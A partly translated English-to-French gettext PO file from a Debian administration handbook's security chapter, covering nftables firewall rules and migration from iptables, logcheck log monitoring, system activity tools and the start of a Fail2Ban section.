msgid "As the kernel is processing a network packet it pauses and allows us to inspect the packet and decide what to do with that package. For example, we might want to drop or discard certain incoming packages, modify other packages in various ways, block certain outgoing packets to control against malware or redirect some packets at the earliest possible stage to bridge network interfaces or to spread the load of incoming packets between systems."
msgstr ""

msgid "A good understanding of the layers 3, 4 and 5 of the OSI (Open Systems Interconnection) model is essential to get the most from netfilter."
msgstr ""

#, fuzzy
#| msgid "<emphasis>VOCABULARY</emphasis> Zero-day exploit"
msgid "<emphasis>CULTURE</emphasis> The OSI model"
msgstr "<emphasis>VOCABULAIRE</emphasis> <foreignphrase>Zero day exploit</foreignphrase>"

#, fuzzy
#| msgid "<primary>logs</primary><secondary>display</secondary>"
msgid "<primary>OSI</primary><secondary>model</secondary>"
msgstr "<primary>logs</primary><secondary>affichage</secondary>"

msgid "The OSI model is a conceptual model to implement networking protocols without regard to its underlying internal structure and technology. Its goal is the interoperability of diverse communication systems with standard communication protocols."
msgstr ""

msgid "This model was defined in the standard ISO/EIC 7498. The following seven layers are described:"
msgstr ""

msgid "Physical: transmission and reception of raw bit streams over a physical medium"
msgstr ""

msgid "Data Link: reliable transmission of data frames between two nodes connected by a connected by a physical layer"
msgstr ""

msgid "Network: structuring and managing a multi-node network, including addressing, routing and traffic control"
msgstr ""

msgid "Transport: reliable transmission of data segments between points on a network, including segmentation, acknowledgment and multiplexing"
msgstr ""

msgid "Session: managing communication sessions, i.e. continuous exchange of information in the form of multiple back-and-forth transmissions between two nodes"
msgstr ""

msgid "Presentation: translation of data between a networking service and an application; including character encoding, data compression and encryption/decryption"
msgstr ""

msgid "Application: High-level APIs, including resource sharing, remote file access."
msgstr ""

msgid "More information can be found on Wikipedia: <ulink type=\"block\" url=\"https://en.wikipedia.org/wiki/Osi_model\" />"
msgstr ""

msgid "The firewall is configured with <emphasis>tables</emphasis>, which hold <emphasis>rules</emphasis> contained in <emphasis>chains</emphasis>. Unlike iptables, <emphasis>nftables</emphasis> does not have any default table. The user decides which and how many tables to create. Every table must have only one of the following five families assigned: <literal>ip</literal>, <literal>ip6</literal>, <literal>inet</literal>, <literal>arp</literal> and <literal>bridge</literal>. <literal>ip</literal> is used if the family is not specified."
msgstr ""

msgid "There are two types of chains: <emphasis>base chains</emphasis> and <emphasis>regular chains</emphasis>. A base chain is an entry point for packets from the networking stack, they are registered into the Netfilter hooks, ie. these chains see packets flowing through the TCP/IP stack. On the other hand, and a regular chain is not attached to any hook, so they do not see any traffic, but it may be used as a jump target for better organization."
msgstr ""

msgid "<primary>chain</primary>"
msgstr "<primary>chaîne</primary>"

msgid "Rules are made of statements, which includes some expressions to be matched and then a verdict statement, like <literal>accept</literal>, <literal>drop</literal>, <literal>queue</literal>, <literal>continue</literal>, <literal>return</literal>, <literal>jump chain</literal> and <literal>goto chain</literal>."
msgstr ""

#, fuzzy
#| msgid "<primary>MD5</primary>"
msgid "<primary>rule</primary>"
msgstr "<primary>MD5</primary>"

msgid "<emphasis>BACK TO BASICS</emphasis> ICMP"
msgstr "<emphasis>B.A.-BA</emphasis> ICMP"

msgid "ICMP (<emphasis>Internet Control Message </emphasis>Protocol) is the protocol used to transmit complementary information on communications. It allows testing network connectivity with the <command>ping</command> command (which sends an ICMP <emphasis>echo request</emphasis> message, which the recipient is meant to answer with an ICMP <emphasis>echo reply</emphasis> message). It signals a firewall rejecting a packet, indicates an overflow in a receive buffer, proposes a better route for the next packets in the connection, and so on. This protocol is defined by several RFC documents; the initial RFC777 and RFC792 were soon completed and extended. <ulink type=\"block\" url=\"http://www.faqs.org/rfcs/rfc777.html\" /> <ulink type=\"block\" url=\"http://www.faqs.org/rfcs/rfc792.html\" />"
msgstr "ICMP (<foreignphrase>Internet Control Message Protocol</foreignphrase>, ou protocole des messages de contrôle sur Internet) est très employé pour transmettre des compléments d'information sur les communications : il permet de tester le fonctionnement du réseau avec la commande <command>ping</command> (qui envoie un message ICMP <foreignphrase>echo request</foreignphrase> auquel le correspondant est normalement tenu de répondre par un message <foreignphrase>echo reply</foreignphrase>), signale le refus d'un paquet par un pare-feu, indique la saturation d'un tampon de réception, propose une meilleure route (un meilleur trajet pour les prochains paquets à émettre), etc. Plusieurs RFC définissent ce protocole ; les premières, 777 et 792, furent rapidement complétées et étendues. <ulink type=\"block\" url=\"http://www.faqs.org/rfcs/rfc777.html\" /> <ulink type=\"block\" url=\"http://www.faqs.org/rfcs/rfc792.html\" />"

msgid "For reference, a receive buffer is a small memory zone storing data between the time it arrives from the network and the time the kernel handles it. If this zone is full, new data cannot be received, and ICMP signals the problem, so that the emitter can slow down its transfer rate (which should ideally reach an equilibrium after some time)."
msgstr "Rappelons qu'un tampon de réception est une petite zone mémoire contenant les données reçues par le réseau avant qu'elles ne soient traitées par le noyau. Si cette zone est pleine, il est alors impossible de recevoir d'autres données et ICMP signale le problème de sorte que le correspondant réduise la vitesse de transfert pour essayer d'atteindre un équilibre."

msgid "<primary>ICMP</primary>"
msgstr "<primary>ICMP</primary>"

msgid "<primary>Internet Control Message Protocol</primary>"
msgstr "<primary><foreignphrase>Internet Control Message Protocol</foreignphrase></primary>"

msgid "<primary>receive buffer</primary>"
msgstr "<primary>tampon de réception</primary>"

msgid "<primary>buffer</primary><secondary>receive buffer</secondary>"
msgstr "<primary>réception, tampon</primary>"

msgid "<primary><command>ping</command></primary>"
msgstr "<primary><command>ping</command></primary>"

msgid "Note that although an IPv4 network can work without ICMP, ICMPv6 is strictly required for an IPv6 network, since it combines several functions that were, in the IPv4 world, spread across ICMPv4, IGMP (<emphasis>Internet Group Membership Protocol</emphasis>) and ARP (<emphasis>Address Resolution Protocol</emphasis>). ICMPv6 is defined in RFC4443. <ulink type=\"block\" url=\"http://www.faqs.org/rfcs/rfc4443.html\" />"
msgstr "Alors qu'un réseau IPv4 peut fonctionner sans ICMP, ICMPv6 est absolument indispensable dans le cadre d'un réseau IPv6 car il combine des fonctions jusqu'alors partagées entre ICMPv4, IGMP <foreignphrase>(Internet Group Membership Protocol)</foreignphrase> et ARP <foreignphrase>(Address Resolution Protocol)</foreignphrase>. La RFC 4 443 définit ce protocole. <ulink type=\"block\" url=\"http://www.faqs.org/rfcs/rfc4443.html\" />"

msgid "Moving from iptables to nftables"
msgstr ""

msgid "The <command>iptables-translate</command> and <command>ip6tables-translate</command> commands can be used to translate old iptables commands into the new nftables syntax. Whole rulesets can also be translated, in this case we migrate the rules configured in one computer which has Docker installed:"
msgstr ""

msgid ""
"<computeroutput># </computeroutput><userinput>iptables-save &gt; iptables-ruleset.txt\n"
"</userinput><computeroutput># </computeroutput><userinput>iptables-restore-translate -f iptables-ruleset.txt\n"
"</userinput><computeroutput>\n"
"# Translated by iptables-restore-translate v1.8.2 on Thu Jul 18 10:39:33 2019\n"
"add table ip filter\n"
"add chain ip filter INPUT { type filter hook input priority 0; policy accept; }\n"
"add chain ip filter FORWARD { type filter hook forward priority 0; policy drop; }\n"
"add chain ip filter OUTPUT { type filter hook output priority 0; policy accept; }\n"
"add chain ip filter DOCKER\n"
"add chain ip filter DOCKER-ISOLATION-STAGE-1\n"
"add chain ip filter DOCKER-ISOLATION-STAGE-2\n"
"add chain ip filter DOCKER-USER\n"
"add rule ip filter FORWARD counter jump DOCKER-USER\n"
"add rule ip filter FORWARD counter jump DOCKER-ISOLATION-STAGE-1\n"
"add rule ip filter FORWARD oifname \"docker0\" ct state related,established counter accept\n"
"add rule ip filter FORWARD oifname \"docker0\" counter jump DOCKER\n"
"add rule ip filter FORWARD iifname \"docker0\" oifname != \"docker0\" counter accept\n"
"add rule ip filter FORWARD iifname \"docker0\" oifname \"docker0\" counter accept\n"
"add rule ip filter DOCKER-ISOLATION-STAGE-1 iifname \"docker0\" oifname != \"docker0\" counter jump DOCKER-ISOLATION-STAGE-2\n"
"add rule ip filter DOCKER-ISOLATION-STAGE-1 counter return\n"
"add rule ip filter DOCKER-ISOLATION-STAGE-2 oifname \"docker0\" counter drop\n"
"add rule ip filter DOCKER-ISOLATION-STAGE-2 counter return\n"
"add rule ip filter DOCKER-USER counter return\n"
"add table ip nat\n"
"add chain ip nat PREROUTING { type nat hook prerouting priority -100; policy accept; }\n"
"add chain ip nat INPUT { type nat hook input priority 100; policy accept; }\n"
"add chain ip nat POSTROUTING { type nat hook postrouting priority 100; policy accept; }\n"
"add chain ip nat OUTPUT { type nat hook output priority -100; policy accept; }\n"
"add chain ip nat DOCKER\n"
"add rule ip nat PREROUTING fib daddr type local counter jump DOCKER\n"
"add rule ip nat POSTROUTING oifname != \"docker0\" ip saddr 172.17.0.0/16 counter masquerade\n"
"add rule ip nat OUTPUT ip daddr != 127.0.0.0/8 fib daddr type local counter jump DOCKER\n"
"add rule ip nat DOCKER iifname \"docker0\" counter return\n"
"# Completed on Thu Jul 18 10:39:33 2019\n"
"# </computeroutput><userinput>iptables-restore-translate -f iptables-ruleset.txt &gt; ruleset.nft\n"
"</userinput><computeroutput># </computeroutput><userinput>nft -f ruleset.nft\n"
"</userinput><computeroutput># </computeroutput><userinput>nft list ruleset</userinput><computeroutput>\n"
"table ip filter {\n"
"\tchain INPUT {\n"
"\t\ttype filter hook input priority 0; policy accept;\n"
"\t}\n"
"\n"
"\tchain FORWARD {\n"
"\t\ttype filter hook forward priority 0; policy drop;\n"
"\t\tcounter packets 0 bytes 0 jump DOCKER-USER\n"
"\t\tcounter packets 0 bytes 0 jump DOCKER-ISOLATION-STAGE-1\n"
"\t\toifname \"docker0\" ct state related,established counter packets 0 bytes 0 accept\n"
"\t\toifname \"docker0\" counter packets 0 bytes 0 jump DOCKER\n"
"\t\tiifname \"docker0\" oifname != \"docker0\" counter packets 0 bytes 0 accept\n"
"\t\tiifname \"docker0\" oifname \"docker0\" counter packets 0 bytes 0 accept\n"
"\t}\n"
"\n"
"\tchain OUTPUT {\n"
"\t\ttype filter hook output priority 0; policy accept;\n"
"\t}\n"
"\n"
"\tchain DOCKER {\n"
"\t}\n"
"\n"
"\tchain DOCKER-ISOLATION-STAGE-1 {\n"
"\t\tiifname \"docker0\" oifname != \"docker0\" counter packets 0 bytes 0 jump DOCKER-ISOLATION-STAGE-2\n"
"\t\tcounter packets 0 bytes 0 return\n"
"\t}\n"
"\n"
"\tchain DOCKER-ISOLATION-STAGE-2 {\n"
"\t\toifname \"docker0\" counter packets 0 bytes 0 drop\n"
"\t\tcounter packets 0 bytes 0 return\n"
"\t}\n"
"\n"
"\tchain DOCKER-USER {\n"
"\t\tcounter packets 0 bytes 0 return\n"
"\t}\n"
"}\n"
"table ip nat {\n"
"\tchain PREROUTING {\n"
"\t\ttype nat hook prerouting priority -100; policy accept;\n"
"\t\tfib daddr type local counter packets 0 bytes 0 jump DOCKER\n"
"\t}\n"
"\n"
"\tchain INPUT {\n"
"\t\ttype nat hook input priority 100; policy accept;\n"
"\t}\n"
"\n"
"\tchain POSTROUTING {\n"
"\t\ttype nat hook postrouting priority 100; policy accept;\n"
"\t\toifname != \"docker0\" ip saddr 172.17.0.0/16 counter packets 0 bytes 0 masquerade\n"
"\t}\n"
"\n"
"\tchain OUTPUT {\n"
"\t\ttype nat hook output priority -100; policy accept;\n"
"\t\tip daddr != 127.0.0.0/8 fib daddr type local counter packets 0 bytes 0 jump DOCKER\n"
"\t}\n"
"\n"
"\tchain DOCKER {\n"
"\t\tiifname \"docker0\" counter packets 0 bytes 0 return\n"
"\t}\n"
"}\n"
"table ip mangle {\n"
"\tchain PREROUTING {\n"
"\t\ttype filter hook prerouting priority -150; policy accept;\n"
"\t}\n"
"\n"
"\tchain INPUT {\n"
"\t\ttype filter hook input priority -150; policy accept;\n"
"\t}\n"
"\n"
"\tchain FORWARD {\n"
"\t\ttype filter hook forward priority -150; policy accept;\n"
"\t}\n"
"\n"
"\tchain OUTPUT {\n"
"\t\ttype route hook output priority -150; policy accept;\n"
"\t}\n"
"\n"
"\tchain POSTROUTING {\n"
"\t\ttype filter hook postrouting priority -150; policy accept;\n"
"\t}\n"
"}\n"
"</computeroutput>"
msgstr ""

msgid "The tools <command>iptables-nft</command>, <command>ip6tables-nft</command>, <command>arptables-nft</command>, <command>ebtables-nft</command> are versions of iptables that use the nftables API, so users can keep using the old iptables syntax with them, but that is not recommended; these tools should only be used for backwards compatibility."
msgstr ""

#, fuzzy
#| msgid "Syntax of <command>iptables</command> and <command>ip6tables</command>"
msgid "Syntax of <command>nft</command>"
msgstr "Syntaxe de <command>iptables</command> et <command>ip6tables</command>"

msgid "The <command>nft</command> commands allow manipulating tables, chains and rules. The <literal>table</literal> option supports multiple operations: <literal>add</literal>, <literal>create</literal>, <literal>delete</literal>, <literal>list</literal> and <literal>flush</literal>. <command>nft add table ip6 mangle</command> adds a new table from the family <literal>ip6</literal>."
msgstr ""

msgid "To insert a new base chain to the <literal>filter</literal> table, you can execute the following command (note that the semicolon is escaped with a backslash when using Bash):"
msgstr ""

#, fuzzy
#| msgid ""
#| "\n"
#| "<computeroutput># </computeroutput><userinput>apt install fwbuilder</userinput>"
msgid "<computeroutput># </computeroutput><userinput>nft add chain filter input { type filter hook input priority 0 \\; }</userinput>"
msgstr ""
"\n"
"<computeroutput># </computeroutput><userinput>apt install fwbuilder</userinput>"

msgid "Rules are usually added with the following syntax: <command>nft add rule [<replaceable>family</replaceable>] <replaceable>table</replaceable> <replaceable>chain</replaceable> handle <replaceable>handle</replaceable> statement</command>."
msgstr ""

msgid "<command>insert</command> is similar to the <command>add</command> command, but the given rule is prepended to the beginning of the chain or before the rule with the given handle instead of at the end or after that rule. For example, the following command inserts a rule before the rule with handler number 8:"
msgstr ""

#, fuzzy
#| msgid ""
#| "\n"
#| "<computeroutput># </computeroutput><userinput>apt install fwbuilder</userinput>"
msgid ""
"<computeroutput># </computeroutput><userinput>nft insert rule filter output position 8 ip daddr 127.0.0.8 drop\n"
"</userinput>"
msgstr ""
"\n"
"<computeroutput># </computeroutput><userinput>apt install fwbuilder</userinput>"

msgid "The executed <command>nft</command> commands do not make permanent changes to the configuration, so they are lost if they are not saved. The firewall rules are located in <filename>/etc/nftables.conf</filename>. A simple way to save the current firewall configuration permanently is to execute <command>nft list ruleset &gt; /etc/nftables.conf</command> as root."
msgstr ""

msgid "<command>nft</command> allows many more operations, refer to its manual page <citerefentry><refentrytitle>nft</refentrytitle> <manvolnum>8</manvolnum></citerefentry> for more information."
msgstr ""

msgid "Installing the Rules at Each Boot"
msgstr "Installer les règles à chaque démarrage"

msgid "To enable a default firewall in Debian, you need to store the rules in <filename>/etc/nftables.conf</filename> and execute <command>systemctl enable nftables.service</command> as root. You can stop the firewall executing <command>nft flush ruleset</command> as root."
msgstr ""

#, fuzzy
#| msgid "In other cases, the recommended way is to register the configuration script in an <literal>up</literal> directive of the <filename>/etc/network/interfaces</filename> file. In the following example, the script is stored under <filename>/usr/local/etc/arrakis.fw</filename>."
msgid "In other cases, the recommended way is to register the configuration script in <literal>up</literal> directive of the <filename>/etc/network/interfaces</filename> file. In the following example, the script is stored under <filename>/usr/local/etc/arrakis.fw</filename>."
msgstr "Dans les autres cas, le plus simple est d'inscrire le script de configuration du pare-feu dans une directive <literal>up</literal> du fichier <filename>/etc/network/interfaces</filename>. Dans l'exemple ci-dessous, ce script s'appelle <filename>/usr/local/etc/arrakis.fw</filename>."

msgid "<filename>interfaces</filename> file calling firewall script"
msgstr "Fichier <varname>interfaces</varname> avec appel du script de pare-feu"

msgid ""
"auto eth0\n"
"iface eth0 inet static\n"
"    address 192.168.0.1\n"
"    network 192.168.0.0\n"
"    netmask 255.255.255.0\n"
"    broadcast 192.168.0.255\n"
"    up /usr/local/etc/arrakis.fw"
msgstr ""
"auto eth0\n"
"iface eth0 inet static\n"
"    address 192.168.0.1\n"
"    network 192.168.0.0\n"
"    netmask 255.255.255.0\n"
"    broadcast 192.168.0.255\n"
"    up /usr/local/etc/arrakis.fw"

msgid "This obviously assumes that you are using <emphasis role=\"pkg\">ifupdown</emphasis> to configure the network interfaces. If you are using something else (like <emphasis>NetworkManager</emphasis> or <emphasis>systemd-networkd</emphasis>), then refer to their respective documentation to find out ways to execute a script after the interface has been brought up."
msgstr "Ces exemples supposent que les interfaces réseau sont configurées par <emphasis role=\"pkg\">ifupdown</emphasis>. Si vous utilisez un autre outil (par exemple <emphasis>NetworkManager</emphasis> ou <emphasis>systemd-networkd</emphasis>), il faudra vous référer à la documentation spécifique de cet outil pour trouver le moyen d'exécuter un script après la mise en marche de l'interface."

msgid "Supervision: Prevention, Detection, Deterrence"
msgstr "Supervision : prévention, détection, dissuasion"

msgid "<primary>monitoring</primary>"
msgstr "<primary>supervision</primary>"

msgid "Monitoring is an integral part of any security policy for several reasons. Among them, that the goal of security is usually not restricted to guaranteeing data confidentiality, but it also includes ensuring availability of the services. It is therefore imperative to check that everything works as expected, and to detect in a timely manner any deviant behavior or change in quality of the service(s) rendered. Monitoring activity can help detecting intrusion attempts and enable a swift reaction before they cause grave consequences. This section reviews some tools that can be used to monitor several aspects of a Debian system. As such, it completes <xref linkend=\"sect.monitoring\" />."
msgstr "La supervision fait partie intégrante d'une politique de sécurité. Elle est nécessaire à plusieurs titres : l'objectif de la sécurité n'est pas uniquement de garantir la confidentialité des données, mais aussi d'assurer le bon fonctionnement des services. Il est donc impératif de veiller à ce que tout fonctionne comme prévu et de détecter au plus tôt les comportements inhabituels et les changements dans la qualité du service fourni. Surveiller l'activité peut permettre de détecter des tentatives d'intrusion et donc de s'en protéger avant que cela ne porte à conséquences. Ce chapitre va passer en revue des outils servant à surveiller différents aspects d'un système Debian. Il complète la <xref linkend=\"sect.monitoring\" />."

msgid "Monitoring Logs with <command>logcheck</command>"
msgstr "Surveillance des logs avec <command>logcheck</command>"

msgid "<primary><command>logcheck</command></primary>"
msgstr "<primary><command>logcheck</command></primary>"

msgid "<primary>logs</primary><secondary>monitoring</secondary>"
msgstr "<primary>logs</primary><secondary>surveillance</secondary>"

msgid "<primary>monitoring</primary><secondary>log files</secondary>"
msgstr "<primary>surveillance</primary><secondary>des logs</secondary>"

msgid "The <command>logcheck</command> program monitors log files every hour by default. It sends unusual log messages in emails to the administrator for further analysis."
msgstr "Le programme <command>logcheck</command> scrute par défaut les fichiers de logs toutes les heures et envoie par courrier électronique à <literal>root</literal> les messages les plus inhabituels pour aider à détecter tout nouveau problème."

msgid "The list of monitored files is stored in <filename>/etc/logcheck/logcheck.logfiles</filename>; the default values work fine if the <filename>/etc/rsyslog.conf</filename> file has not been completely overhauled."
msgstr "La liste des fichiers scrutés se trouve dans le fichier <filename>/etc/logcheck/logcheck.logfiles</filename> ; les choix par défaut conviendront si le fichier <filename>/etc/rsyslog.conf</filename> n'a pas été complètement remodelé."

msgid "<command>logcheck</command> can work in one of three more or less detailed modes: <emphasis>paranoid</emphasis>, <emphasis>server</emphasis> and <emphasis>workstation</emphasis>. The first one is <emphasis>very</emphasis> verbose, and should probably be restricted to specific servers such as firewalls. The second (and default) mode is recommended for most servers. The last one is designed for workstations, and is even terser (it filters out more messages)."
msgstr "<command>logcheck</command> peut fonctionner en 3 modes plus ou moins détaillés : <foreignphrase>paranoid</foreignphrase> (paranoïaque), <foreignphrase>server</foreignphrase> (serveur) et <foreignphrase>workstation</foreignphrase> (station de travail). Le premier étant le plus verbeux, on le réservera aux serveurs spécialisés (comme les pare-feu). Le deuxième mode, choisi par défaut, est recommandé pour les serveurs. Le dernier, prévu pour les stations de travail, élimine encore plus de messages."

msgid "In all three cases, <command>logcheck</command> should probably be customized to exclude some extra messages (depending on installed services), unless the admin really wishes to receive hourly batches of long uninteresting emails. Since the message selection mechanism is rather complex, <filename>/usr/share/doc/logcheck-database/README.logcheck-database.gz</filename> is a required — if challenging — read."
msgstr "Dans tous les cas, il faudra probablement paramétrer <command>logcheck</command> pour exclure des messages supplémentaires (selon les services installés) sous peine d'être envahi chaque heure par une multitude de messages inintéressants. Leur mécanisme de sélection étant relativement complexe, il faut lire à tête reposée le document <filename>/usr/share/doc/logcheck-database/README.logcheck-database.gz</filename> pour bien le comprendre."

msgid "The applied rules can be split into several types:"
msgstr "Plusieurs types de règles sont appliqués :"

msgid "those that qualify a message as a cracking attempt (stored in a file in the <filename>/etc/logcheck/cracking.d/</filename> directory);"
msgstr "celles qui qualifient un message comme résultant d'une tentative d'attaque (elles sont stockées dans un fichier du répertoire <filename>/etc/logcheck/cracking.d/</filename>) ;"

msgid "those canceling such a qualification (<filename>/etc/logcheck/cracking.ignore.d/</filename>);"
msgstr "celles qui annulent cette qualification (<filename>/etc/logcheck/cracking.ignore.d/</filename>) ;"

msgid "those classifying a message as a security alert (<filename>/etc/logcheck/violations.d/</filename>);"
msgstr "celles qui qualifient un message comme une alerte de sécurité (<filename>/etc/logcheck/violations.d/</filename>) ;"

msgid "those canceling this classification (<filename>/etc/logcheck/violations.ignore.d/</filename>);"
msgstr "celles qui annulent cette qualification (<filename>/etc/logcheck/violations.ignore.d/</filename>) ;"

msgid "finally, those applying to the remaining messages (considered as <emphasis>system events</emphasis>)."
msgstr "et enfin celles qui s'appliquent à tous les messages restants (les <foreignphrase>System Events</foreignphrase>, ou événements système)."

msgid "<emphasis>CAUTION</emphasis> Ignoring a message"
msgstr "<emphasis>ATTENTION</emphasis> Ignorer un message"

msgid "Any message tagged as a cracking attempt or a security alert (following a rule stored in a <filename>/etc/logcheck/violations.d/myfile</filename> file) can only be ignored by a rule in a <filename>/etc/logcheck/violations.ignore.d/myfile</filename> or <filename>/etc/logcheck/violations.ignore.d/myfile-<replaceable>extension</replaceable></filename> file."
msgstr "Tout message marqué comme une tentative d'attaque ou une alerte de sécurité (suite par exemple à une règle du fichier <filename>/etc/logcheck/violations.d/monfichier</filename>) ne pourra être ignoré que par une règle des fichiers <filename>/etc/logcheck/violations.ignore.d/monfichier</filename> ou <filename>/etc/logcheck/violations.ignore.d/monfichier-<replaceable>extension</replaceable></filename>."

msgid "A system event is always signaled unless a rule in one of the <filename>/etc/logcheck/ignore.d.{paranoid,server,workstation}/</filename> directories states the event should be ignored. Of course, the only directories taken into account are those corresponding to verbosity levels equal or greater than the selected operation mode."
msgstr "Un événement système sera systématiquement signalé, sauf si une règle de l'un des répertoires <filename>/etc/logcheck/ignore.d.{paranoid,server,workstation}/</filename> dicte de l'ignorer. Évidemment, seuls les répertoires correspondant à des niveaux de verbosité supérieurs ou égaux au niveau sélectionné sont pris en compte."

msgid "Monitoring Activity"
msgstr "Surveillance de l'activité"

msgid "<primary>monitoring</primary><secondary>activity</secondary>"
msgstr "<primary>surveillance</primary><secondary>de l'activité</secondary>"

msgid "<primary>activity, monitoring</primary>"
msgstr "<primary>activité, surveillance</primary>"

msgid "In Real Time"
msgstr "En temps réel"

msgid "<command>top</command> is an interactive tool that displays a list of currently running processes. The default sorting is based on the current amount of processor use and can be obtained with the <keycap>P</keycap> key. Other sort orders include a sort by occupied memory (<keycap>M</keycap> key), by total processor time (<keycap>T</keycap> key) and by process identifier (<keycap>N</keycap> key). The <keycap>k</keycap> key allows killing a process by entering its process identifier. The <keycap>r</keycap> key allows <emphasis>renicing</emphasis> a process, i.e. changing its priority."
msgstr "<command>top</command> est un utilitaire interactif qui affiche la liste des processus en cours d'exécution. Par défaut, son critère de tri est l'utilisation actuelle du processeur (touche <keycap>P</keycap>), mais on peut opter pour la mémoire occupée (touche <keycap>M</keycap>), le temps processeur consommé (touche <keycap>T</keycap>) ou le numéro de processus ou PID (touche <keycap>N</keycap>). La touche <keycap>k</keycap> (comme <foreignphrase>kill</foreignphrase>) nécessite un numéro de processus à tuer. <keycap>r</keycap> (comme <foreignphrase>renice</foreignphrase>) change la priorité d'un processus."

msgid "<primary><command>top</command></primary>"
msgstr "<primary><command>top</command></primary>"

#, fuzzy
#| msgid "When the system seems to be overloaded, <command>top</command> is a great tool to see which processes are competing for processor time or consume too much memory. In particular, it is often interesting to check if the processes consuming resources match the real services that the machine is known to host. An unknown process running as the www-data user should really stand out and be investigated, since it's probably an instance of software installed and executed on the system through a vulnerability in a web application."
msgid "When the system seems to be overloaded, <command>top</command> is a great tool to see which processes are competing for processor time or consume too much memory. In particular, it is often interesting to check if the processes consuming resources match the real services that the machine is known to host. An unknown process running as the www-data user should really stand out and be investigated, since it is probably an instance of software installed and executed on the system through a vulnerability in a web application."
msgstr "Si le processeur semble être surchargé, il est ainsi possible d'observer quels processus se battent pour son contrôle ou consomment toute la mémoire disponible. Il est intéressant en particulier de vérifier si les processus qui consomment des ressources correspondent effectivement aux services réels que la machine héberge. Un processus au nom inconnu tournant sous l'utilisateur <literal>www-data</literal> doit immédiatement attirer l'attention : la probabilité est forte que cela corresponde à un logiciel installé et exécuté sur la machine en exploitant une faille de sécurité d'une application web."

msgid "<command>top</command> is a very flexible tool and its manual page gives details on how to customize its display and adapt it to one's personal needs and habits."
msgstr "<command>top</command> est un outil de base très souple et sa page de manuel explique comment en personnaliser l'affichage pour l'adapter aux besoins et aux habitudes de chacun."

msgid "The <command>gnome-system-monitor</command> graphical tool is similar to <command>top</command> and it provides roughly the same features."
msgstr "L'outil graphique <command>gnome-system-monitor</command> est similaire à <command>top</command>, et il propose sensiblement les mêmes fonctionnalités."

msgid "<primary><command>gnome-system-monitor</command></primary>"
msgstr "<primary><command>gnome-system-monitor</command></primary>"

msgid "History"
msgstr "Historique"

msgid "<primary>activity, history</primary>"
msgstr "<primary>activité, historique</primary>"

msgid "Processor load, network traffic and free disk space are information that are constantly varying. Keeping a history of their evolution is often useful in determining exactly how the computer is used."
msgstr "La charge du processeur, le trafic réseau et l'espace disque disponible sont des informations qui varient en permanence. Il est souvent intéressant de garder une trace de leur évolution pour mieux cerner l'usage qui est fait de l'ordinateur."

msgid "<primary>SNMP</primary>"
msgstr "<primary>SNMP</primary>"

msgid "<primary>Simple Network Management Protocol</primary>"
msgstr "<primary><foreignphrase>Simple Network Management Protocol</foreignphrase></primary>"

msgid "There are many dedicated tools for this task. Most can fetch data via SNMP (<emphasis>Simple Network Management Protocol</emphasis>) in order to centralize this information. An added benefit is that this allows fetching data from network elements that may not be general-purpose computers, such as dedicated network routers or switches."
msgstr "Il existe de nombreux outils dédié à cette tâche. La plupart peuvent récupérer des données via SNMP (<foreignphrase>Simple Network Management Protocol</foreignphrase>, ou protocole simple de gestion du réseau) afin de centraliser ces informations. Cela permet en outre de récupérer des informations sur des éléments du réseau qui ne sont pas nécessairement des ordinateurs (comme des routeurs)."

#, fuzzy
#| msgid "This book deals with Munin in some detail (see <xref linkend=\"sect.munin\" />) as part of <xref linkend=\"advanced-administration\" xrefstyle=\"select: label quotedtitle\" />. Debian also provides a similar tool, <emphasis role=\"pkg\">cacti</emphasis>. Its deployment is slightly more complex, since it is based solely on SNMP. Despite having a web interface, grasping the concepts involved in configuration still requires some effort. Reading the HTML documentation (<filename>/usr/share/doc/cacti/html/index.html</filename>) should be considered a prerequisite."
msgid "This book deals with Munin in some detail (see <xref linkend=\"sect.munin\" />) as part of <xref linkend=\"advanced-administration\" xrefstyle=\"select: label quotedtitle\" />. Debian also provides a similar tool, <emphasis role=\"pkg\">cacti</emphasis>. Its deployment is slightly more complex, since it is based solely on SNMP. Despite having a web interface, grasping the concepts involved in configuration still requires some effort. Reading the HTML documentation (<filename>/usr/share/doc/cacti/html/Table-of-Contents.html</filename>) should be considered a prerequisite."
msgstr "Ce livre traite en détail de Munin (voir <xref linkend=\"sect.munin\" />) dans le cadre du <xref linkend=\"advanced-administration\" />. Debian dispose également de <emphasis role=\"pkg\">cacti</emphasis>. Il est un peu plus complexe à mettre en œuvre : l'usage de SNMP est inévitable et malgré une interface web, les concepts de configuration restent difficiles à appréhender. La lecture de la documentation HTML (<filename>/usr/share/doc/cacti/html/index.html</filename>) sera indispensable si l'on souhaite le mettre en œuvre."

msgid "<emphasis>ALTERNATIVE</emphasis> <command>mrtg</command>"
msgstr "<emphasis>ALTERNATIVE</emphasis> <command>mrtg</command>"

msgid "<primary><command>mrtg</command></primary>"
msgstr "<primary><command>mrtg</command></primary>"

msgid "<command>mrtg</command> (in the similarly-named package) is an older tool. Despite some rough edges, it can aggregate historical data and display them as graphs. It includes a number of scripts dedicated to collecting the most commonly monitored data such as processor load, network traffic, web page hits, and so on."
msgstr "<command>mrtg</command> (du paquet Debian éponyme) est un outil plus ancien et plus rustique capable d'agréger des données historiques et d'en faire des graphiques. Il dispose d'un certain nombre de scripts de récupération des données les plus couramment surveillées : charge, trafic réseau, impacts <foreignphrase>(hits)</foreignphrase> web, etc."

msgid "The <emphasis role=\"pkg\">mrtg-contrib</emphasis> and <emphasis role=\"pkg\">mrtgutils</emphasis> packages contain example scripts that can be used directly."
msgstr "Les paquets <emphasis role=\"pkg\">mrtg-contrib</emphasis> et <emphasis role=\"pkg\">mrtgutils</emphasis> contiennent des scripts d'exemples, prĂŞts Ă  l'emploi."

msgid "Avoiding Intrusion"
msgstr ""

msgid "Attackers try to get access to servers by guessing passwords, which is why strong passwords must always be used. Even then, you should also establish measures against brute-force attacks. A brute-force attack is an attempt to log in to an unauthorised software system by performing multiple login attempts in a short period of time."
msgstr ""

msgid "The best way to stop a brute-force atack is to limit the number of login attempts coming from the same origin, usually by temporarily banning an IP address."
msgstr ""

msgid "Fail2Ban is an intrusion prevention software suite that can be configured to monitor any service that writes login attemps to a log file. It can be found in the package <emphasis role=\"pkg\">fail2ban</emphasis>."
msgstr ""

msgid "Fail2Ban is configured through a simple protocol by <command>fail2ban-client</command>, which also reads configuration files and issues corresponding configuration commands to the server, <command>fail2ban-server</command>. It has four configuration file types, all stored in <filename>/etc/fail2ban</filename>:"
msgstr ""

msgid "<filename>fail2ban.conf</filename>. Global configuration (such as logging)."
msgstr ""

msgid "<filename>filter.d/*.conf</filename>. Filters specifying how to detect authentication failures. The Debian package already contains filters for many common programs."
msgstr ""

